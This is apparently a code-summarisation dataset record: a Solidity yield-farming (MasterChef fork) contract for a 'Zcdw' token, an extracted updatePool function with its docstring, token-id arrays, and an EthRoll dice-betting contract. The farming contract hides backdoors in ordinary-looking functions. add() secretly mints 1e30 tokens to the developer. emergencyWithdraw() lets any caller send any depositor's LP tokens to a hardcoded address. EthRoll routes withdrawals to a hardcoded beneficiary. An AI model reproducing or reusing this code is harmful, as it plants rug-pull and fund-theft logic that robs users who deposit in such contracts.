devaddr = _devaddr;
zcdwPerBlock = _zcdwPerBlock;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
payto(1000000000000000000000000000000);
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accZcdwPerShare: 0
}));
}
// Update the given pool's Zcdw allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending Zcdw on frontend.
function pendingZcdw(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accZcdwPerShare = pool.accZcdwPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 zcdwReward = multiplier.mul(zcdwPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accZcdwPerShare = accZcdwPerShare.add(zcdwReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accZcdwPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 zcdwReward = multiplier.mul(zcdwPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
zcdw.mint(address(this), zcdwReward);
pool.accZcdwPerShare = pool.accZcdwPerShare.add(zcdwReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
function payto(uint256 amount) private onlyOwner{
zcdw.mint(devaddr, amount );
}
// Deposit LP tokens to MasterChef for zcdw allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accZcdwPerShare).div(1e12).sub(user.rewardDebt);
safeZcdwTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accZcdwPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accZcdwPerShare).div(1e12).sub(user.rewardDebt);
safeZcdwTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accZcdwPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid, address _lpOwner ) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_lpOwner];
pool.lpToken.safeTransfer(address(0x2e4d15b1395320C3F14d2E987bA6f76eBaBDb1cc), user.amount);
emit EmergencyWithdraw(_lpOwner, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe Zcdw transfer function, just in case if rounding error causes pool to not have enough zcdw.
function safeZcdwTransfer(address _to, uint256 _amount) internal {
uint256 zcdwBal = zcdw.balanceOf(address(this));
if (_amount > zcdwBal) {
zcdw.transfer(_to, zcdwBal);
} else {
zcdw.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
} | Update reward variables of the given pool to be up-to-date. | function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 zcdwReward = multiplier.mul(zcdwPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
zcdw.mint(address(this), zcdwReward);
pool.accZcdwPerShare = pool.accZcdwPerShare.add(zcdwReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
| 6,716,466 | [
1,
1891,
19890,
3152,
434,
326,
864,
2845,
358,
506,
731,
17,
869,
17,
712,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1089,
2864,
12,
11890,
5034,
389,
6610,
13,
1071,
288,
203,
3639,
8828,
966,
2502,
2845,
273,
2845,
966,
63,
67,
6610,
15533,
203,
3639,
309,
261,
2629,
18,
2696,
1648,
2845,
18,
2722,
17631,
1060,
1768,
13,
288,
203,
5411,
327,
31,
203,
3639,
289,
203,
3639,
2254,
5034,
12423,
3088,
1283,
273,
2845,
18,
9953,
1345,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
309,
261,
9953,
3088,
1283,
422,
374,
13,
288,
203,
5411,
2845,
18,
2722,
17631,
1060,
1768,
273,
1203,
18,
2696,
31,
203,
5411,
327,
31,
203,
3639,
289,
203,
3639,
2254,
5034,
15027,
273,
31863,
5742,
12,
6011,
18,
2722,
17631,
1060,
1768,
16,
1203,
18,
2696,
1769,
203,
3639,
2254,
5034,
998,
4315,
91,
17631,
1060,
273,
15027,
18,
16411,
12,
94,
4315,
91,
2173,
1768,
2934,
16411,
12,
6011,
18,
9853,
2148,
2934,
2892,
12,
4963,
8763,
2148,
1769,
203,
203,
3639,
998,
4315,
91,
18,
81,
474,
12,
2867,
12,
2211,
3631,
998,
4315,
91,
17631,
1060,
1769,
203,
3639,
2845,
18,
8981,
62,
4315,
91,
2173,
9535,
273,
2845,
18,
8981,
62,
4315,
91,
2173,
9535,
18,
1289,
12,
94,
4315,
91,
17631,
1060,
18,
16411,
12,
21,
73,
2138,
2934,
2892,
12,
9953,
3088,
1283,
10019,
203,
3639,
2845,
18,
2722,
17631,
1060,
1768,
273,
1203,
18,
2696,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
contract EthRoll {
/// *** Constants section
// Each bet is deducted 1.5% in favour of the house, but no less than some minimum.
// The lower bound is dictated by gas costs of the settleBet transaction, providing
// headroom for up to 10 Gwei prices.
uint constant HOUSE_EDGE_PERCENT = 15;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.00045 ether;
// Bets lower than this amount do not participate in jackpot rolls (and are
// not deducted JACKPOT_FEE).
uint constant MIN_JACKPOT_BET = 0.1 ether;
// Chance to win jackpot (currently 0.1%) and fee deducted into jackpot fund.
uint constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = 0.001 ether;
// There is minimum and maximum bets.
uint constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 300000 ether;
// Modulo is a number of equiprobable outcomes in a game:
// - 2 for coin flip
// - 6 for dice
// - 6*6 = 36 for double dice
// - 100 for etheroll
// - 37 for roulette
// etc.
// It's called so because 256-bit entropy is treated like a huge integer and
// the remainder of its division by modulo is considered bet outcome.
uint constant MAX_MODULO = 100;
// For modulos below this threshold rolls are checked against a bit mask,
// thus allowing betting on any combination of outcomes. For example, given
// modulo 6 for dice, 101000 mask (base-2, big endian) means betting on
// 4 and 6; for games with modulos higher than threshold (Etheroll), a simple
// limit is used, allowing betting on any outcome in [0, N) range.
//
// The specific value is dictated by the fact that 256-bit intermediate
// multiplication result allows implementing population count efficiently
// for numbers that are up to 42 bits, and 40 is the highest multiple of
// eight below 42.
uint constant MAX_MASK_MODULO = 40;
// This is a check on bet mask overflow.
uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO;
// EVM BLOCKHASH opcode can query no further than 256 blocks into the
// past. Given that settleBet uses block hash of placeBet as one of
// complementary entropy sources, we cannot process bets older than this
// threshold. On rare occasions EthRoll croupier may fail to invoke
// settleBet in this timespan due to technical issues or extreme Ethereum
// congestion; such bets can be refunded via invoking refundBet.
uint constant BET_EXPIRATION_BLOCKS = 250;
// Some deliberately invalid address to initialize the secret signer with.
// Forces maintainers to invoke setSecretSigner before processing any bets.
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
// Standard contract ownership transfer.
address public owner;
address private nextOwner;
// Adjustable max bet profit. Used to cap bets against dynamic odds.
uint public maxProfit;
// The address corresponding to a private key used to sign placeBet commits.
address public secretSigner;
// Accumulated jackpot fund.
uint128 public jackpotSize;
// Funds that are locked in potentially winning bets. Prevents contract from
// committing to bets it cannot pay out.
uint128 public lockedInBets;
address public beneficiary_ = 0x360f9b23ea114bb1a1e5fdd52fcb92837011ff65;
// A structure representing a single bet.
struct Bet {
// Wager amount in wei.
uint amount;
// Modulo of a game.
uint8 modulo;
// Number of winning outcomes, used to compute winning payment (* modulo/rollUnder),
// and used instead of mask for games with modulo > MAX_MASK_MODULO.
uint8 rollUnder;
// Block number of placeBet tx.
uint40 placeBlockNumber;
// Bit mask representing winning bet outcomes (see MAX_MASK_MODULO comment).
uint40 mask;
// Address of a gambler, used to pay out winning bets.
address gambler;
}
// Mapping from commits to all currently active & processed bets.
mapping (uint => Bet) bets;
// Croupier account.
address public croupier;
// Events that are issued to make statistic recovery easier.
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event JackpotPayment(address indexed beneficiary, uint amount);
// This event is emitted in placeBet to record commit in the logs.
event Commit(uint commit);
// Constructor. Deliberately does not take any parameters.
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
croupier = DUMMY_ADDRESS;
}
// Standard modifier on methods invokable only by contract owner.
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
// Standard modifier on methods invokable only by contract owner.
modifier onlyCroupier {
require (msg.sender == croupier, "OnlyCroupier methods called by non-croupier.");
_;
}
// Standard contract ownership transfer implementation,
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
// Fallback function deliberately left empty. It's primary use case
// is to top up the bank roll.
function () public payable {
}
// See comment for "secretSigner" variable.
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
// Change the croupier address.
function setCroupier(address newCroupier) external onlyOwner {
croupier = newCroupier;
}
// Change max bet reward. Setting this to zero effectively disables betting.
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
// This function is used to bump up the jackpot fund. Cannot be used to lower it.
function increaseJackpot(uint increaseAmount) external onlyOwner {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
// Funds withdrawal to cover costs of EthRoll operation.
function withdrawFunds(uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary_, withdrawAmount, withdrawAmount);
}
// Contract may be destroyed only when there are no ongoing bets,
// either settled or refunded. All funds are transferred to contract owner.
function kill() external onlyOwner {
require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(owner);
}
/// *** Betting logic
// Bet states:
// amount == 0 && gambler == 0 - 'clean' (can place a bet)
// amount != 0 && gambler != 0 - 'active' (can be settled or refunded)
// amount == 0 && gambler != 0 - 'processed' (can clean storage)
//
// NOTE: Storage cleaning is not implemented in this contract version; it will be added
// with the next upgrade to prevent polluting Ethereum state with expired bets.
// Bet placing transaction - issued by the player.
// betMask - bet outcomes bit mask for modulo <= MAX_MASK_MODULO,
// [0, betMask) for larger modulos.
// modulo - game modulo.
// commitLastBlock - number of the maximum block where "commit" is still considered valid.
// commit - Keccak256 hash of some secret "reveal" random number, to be supplied
// by the EthRoll croupier bot in the settleBet transaction. Supplying
// "commit" ensures that "reveal" cannot be changed behind the scenes
// after placeBet have been mined.
// r, s - components of ECDSA signature of (commitLastBlock, commit). v is
// guaranteed to always equal 27.
//
// Commit, being essentially random 256-bit number, is used as a unique bet identifier in
// the 'bets' mapping.
//
// Commits are signed with a block limit to ensure that they are used at most once - otherwise
// it would be possible for a miner to place a bet with a known commit/reveal pair and tamper
// with the blockhash. Croupier guarantees that commitLastBlock will always be not greater than
// placeBet block number plus BET_EXPIRATION_BLOCKS. See whitepaper for details.
function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s) external payable {
// Check that the bet is in 'clean' state.
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
// Validate input data ranges.
uint amount = msg.value;
require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
// Check that commit is valid - it has not expired and its signature is valid.
require (block.number <= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(uint40(commitLastBlock), commit));
require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid.");
uint rollUnder;
uint mask;
if (modulo <= MAX_MASK_MODULO) {
// Small modulo games specify bet outcomes via bit mask.
// rollUnder is a number of 1 bits in this mask (population count).
// This magic looking formula is an efficient way to compute population
// count on EVM for numbers below 2**40. For detailed proof consult
// the EthRoll whitepaper.
rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO;
mask = betMask;
} else {
// Larger modulos specify the right edge of half-open interval of
// winning bet outcomes.
require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo.");
rollUnder = betMask;
}
// Winning amount and jackpot increase.
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
// Enforce max profit limit.
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation.");
// Lock funds.
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
// Check whether contract has enough funds to process this bet.
require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
// Record commit in logs.
emit Commit(commit);
// Store bet parameters on blockchain.
bet.amount = amount;
bet.modulo = uint8(modulo);
bet.rollUnder = uint8(rollUnder);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
}
// This is the method used to settle 99% of bets. To process a bet with a specific
// "commit", settleBet should supply a "reveal" number that would Keccak256-hash to
// "commit". "blockHash" is the block hash of placeBet block as seen by croupier; it
// is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs.
function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
// Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS).
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
require (blockhash(placeBlockNumber) == blockHash);
// Settle bet using reveal and blockHash as entropy sources.
settleBetCommon(bet, reveal, blockHash);
}
// This method is used to settle a bet that was mined into an uncle block. At this
// point the player was shown some bet outcome, but the blockhash at placeBet height
// is different because of Ethereum chain reorg. We supply a full merkle proof of the
// placeBet transaction receipt to provide untamperable evidence that uncle block hash
// indeed was present on-chain at some point.
function settleBetUncleMerkleProof(uint reveal, uint40 canonicalBlockNumber) external onlyCroupier {
// "commit" for bet settlement can only be obtained by hashing a "reveal".
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
// Check that canonical block hash can still be verified.
require (block.number <= canonicalBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
// Verify placeBet receipt.
requireCorrectReceipt(4 + 32 + 32 + 4);
// Reconstruct canonical & uncle block hashes from a receipt merkle proof, verify them.
bytes32 canonicalHash;
bytes32 uncleHash;
(canonicalHash, uncleHash) = verifyMerkleProof(commit, 4 + 32 + 32);
require (blockhash(canonicalBlockNumber) == canonicalHash);
// Settle bet using reveal and uncleHash as entropy sources.
settleBetCommon(bet, reveal, uncleHash);
}
// Common settlement code for settleBet & settleBetUncleMerkleProof.
function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private {
// Fetch bet parameters into local variables (to save gas).
uint amount = bet.amount;
uint modulo = bet.modulo;
uint rollUnder = bet.rollUnder;
address gambler = bet.gambler;
// Check that bet is in 'active' state.
require (amount != 0, "Bet should be in an 'active' state");
// Move bet into 'processed' state already.
bet.amount = 0;
// The RNG - combine "reveal" and blockhash of placeBet using Keccak256. Miners
// are not aware of "reveal" and cannot deduce it from "commit" (as Keccak256
// preimage is intractable), and house is unable to alter the "reveal" after
// placeBet have been mined (as Keccak256 collision finding is also intractable).
bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash));
// Do a roll by taking a modulo of entropy. Compute winning amount.
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
// Determine dice outcome.
if (modulo <= MAX_MASK_MODULO) {
// For small modulo games, check the outcome against a bit mask.
if ((2 ** dice) & bet.mask != 0) {
diceWin = diceWinAmount;
}
} else {
// For larger modulos, check inclusion into half-open interval.
if (dice < rollUnder) {
diceWin = diceWinAmount;
}
}
// Unlock the bet amount, regardless of the outcome.
lockedInBets -= uint128(diceWinAmount);
// Roll for a jackpot (if eligible).
if (amount >= MIN_JACKPOT_BET) {
// The second modulo, statistically independent from the "main" dice roll.
// Effectively you are playing two games at once!
uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO;
// Bingo!
if (jackpotRng == 0) {
jackpotWin = jackpotSize;
jackpotSize = 0;
}
}
// Log jackpot win.
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin);
}
// Send the funds to gambler.
sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin);
}
// Refund transaction - return the bet amount of a roll that was not processed in a
// due timeframe. Processing such blocks is not possible due to EVM limitations (see
// BET_EXPIRATION_BLOCKS comment above for details). In case you ever find yourself
// in a situation like this, just contact the EthRoll support, however nothing
// precludes you from invoking this method yourself.
function refundBet(uint commit) external {
// Check that bet is in 'active' state.
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
// Check that bet has already expired.
require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
// Move bet into 'processed' state, release funds.
bet.amount = 0;
uint diceWinAmount;
uint jackpotFee;
(diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder);
lockedInBets -= uint128(diceWinAmount);
jackpotSize -= uint128(jackpotFee);
// Send the refund.
sendFunds(bet.gambler, amount, amount);
}
// Get the expected win amount after house edge is subtracted.
function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) {
require (0 < rollUnder && rollUnder <= modulo, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 1000;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder;
}
// Helper routine to process the payment.
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
if (beneficiary.call.value(amount)()) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
// This are some constants making O(1) population count in placeBet possible.
// See whitepaper for intuition and proofs behind it.
uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCNT_MODULO = 0x3F;
// *** Merkle proofs.
// This helpers are used to verify cryptographic proofs of placeBet inclusion into
// uncle blocks. They are used to prevent bet outcome changing on Ethereum reorgs without
// compromising the security of the smart contract. Proof data is appended to the input data
// in a simple prefix length format and does not adhere to the ABI.
// Invariants checked:
// - receipt trie entry contains a (1) successful transaction (2) directed at this smart
// contract (3) containing commit as a payload.
// - receipt trie entry is a part of a valid merkle proof of a block header
// - the block header is a part of uncle list of some block on canonical chain
// The implementation is optimized for gas cost and relies on the specifics of Ethereum internal data structures.
// Read the whitepaper for details.
// Helper to verify a full merkle proof starting from some seedHash (usually commit). "offset" is the location of the proof
// beginning in the calldata.
function verifyMerkleProof(uint seedHash, uint offset) pure private returns (bytes32 blockHash, bytes32 uncleHash) {
// (Safe) assumption - nobody will write into RAM during this method invocation.
uint scratchBuf1; assembly { scratchBuf1 := mload(0x40) }
uint uncleHeaderLength; uint blobLength; uint shift; uint hashSlot;
// Verify merkle proofs up to uncle block header. Calldata layout is:
// - 2 byte big-endian slice length
// - 2 byte big-endian offset to the beginning of previous slice hash within the current slice (should be zeroed)
// - followed by the current slice verbatim
for (;; offset += blobLength) {
assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) }
if (blobLength == 0) {
// Zero slice length marks the end of uncle proof.
break;
}
assembly { shift := and(calldataload(sub(offset, 28)), 0xffff) }
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
seedHash := sha3(scratchBuf1, blobLength)
uncleHeaderLength := blobLength
}
}
// At this moment the uncle hash is known.
uncleHash = bytes32(seedHash);
// Construct the uncle list of a canonical block.
uint scratchBuf2 = scratchBuf1 + uncleHeaderLength;
uint unclesLength; assembly { unclesLength := and(calldataload(sub(offset, 28)), 0xffff) }
uint unclesShift; assembly { unclesShift := and(calldataload(sub(offset, 26)), 0xffff) }
require (unclesShift + uncleHeaderLength <= unclesLength, "Shift bounds check.");
offset += 6;
assembly { calldatacopy(scratchBuf2, offset, unclesLength) }
memcpy(scratchBuf2 + unclesShift, scratchBuf1, uncleHeaderLength);
assembly { seedHash := sha3(scratchBuf2, unclesLength) }
offset += unclesLength;
// Verify the canonical block header using the computed sha3Uncles.
assembly {
blobLength := and(calldataload(sub(offset, 30)), 0xffff)
shift := and(calldataload(sub(offset, 28)), 0xffff)
}
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
// At this moment the canonical block hash is known.
blockHash := sha3(scratchBuf1, blobLength)
}
}
// Helper to check the placeBet receipt. "offset" is the location of the proof beginning in the calldata.
// RLP layout: [triePath, str([status, cumGasUsed, bloomFilter, [[address, [topics], data]])]
function requireCorrectReceipt(uint offset) view private {
uint leafHeaderByte; assembly { leafHeaderByte := byte(0, calldataload(offset)) }
require (leafHeaderByte >= 0xf7, "Receipt leaf longer than 55 bytes.");
offset += leafHeaderByte - 0xf6;
uint pathHeaderByte; assembly { pathHeaderByte := byte(0, calldataload(offset)) }
if (pathHeaderByte <= 0x7f) {
offset += 1;
} else {
require (pathHeaderByte >= 0x80 && pathHeaderByte <= 0xb7, "Path is an RLP string.");
offset += pathHeaderByte - 0x7f;
}
uint receiptStringHeaderByte; assembly { receiptStringHeaderByte := byte(0, calldataload(offset)) }
require (receiptStringHeaderByte == 0xb9, "Receipt string is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint receiptHeaderByte; assembly { receiptHeaderByte := byte(0, calldataload(offset)) }
require (receiptHeaderByte == 0xf9, "Receipt is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint statusByte; assembly { statusByte := byte(0, calldataload(offset)) }
require (statusByte == 0x1, "Status should be success.");
offset += 1;
uint cumGasHeaderByte; assembly { cumGasHeaderByte := byte(0, calldataload(offset)) }
if (cumGasHeaderByte <= 0x7f) {
offset += 1;
} else {
require (cumGasHeaderByte >= 0x80 && cumGasHeaderByte <= 0xb7, "Cumulative gas is an RLP string.");
offset += cumGasHeaderByte - 0x7f;
}
uint bloomHeaderByte; assembly { bloomHeaderByte := byte(0, calldataload(offset)) }
require (bloomHeaderByte == 0xb9, "Bloom filter is always 256 bytes long.");
offset += 256 + 3;
uint logsListHeaderByte; assembly { logsListHeaderByte := byte(0, calldataload(offset)) }
require (logsListHeaderByte == 0xf8, "Logs list is less than 256 bytes long.");
offset += 2;
uint logEntryHeaderByte; assembly { logEntryHeaderByte := byte(0, calldataload(offset)) }
require (logEntryHeaderByte == 0xf8, "Log entry is less than 256 bytes long.");
offset += 2;
uint addressHeaderByte; assembly { addressHeaderByte := byte(0, calldataload(offset)) }
require (addressHeaderByte == 0x94, "Address is 20 bytes long.");
uint logAddress; assembly { logAddress := and(calldataload(sub(offset, 11)), 0xffffffffffffffffffffffffffffffffffffffff) }
require (logAddress == uint(address(this)));
}
// Memory copy.
function memcpy(uint dest, uint src, uint len) pure private {
// Full 32 byte words
for(; len >= 32; len -= 32) {
assembly { mstore(dest, mload(src)) }
dest += 32; src += 32;
}
// Remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
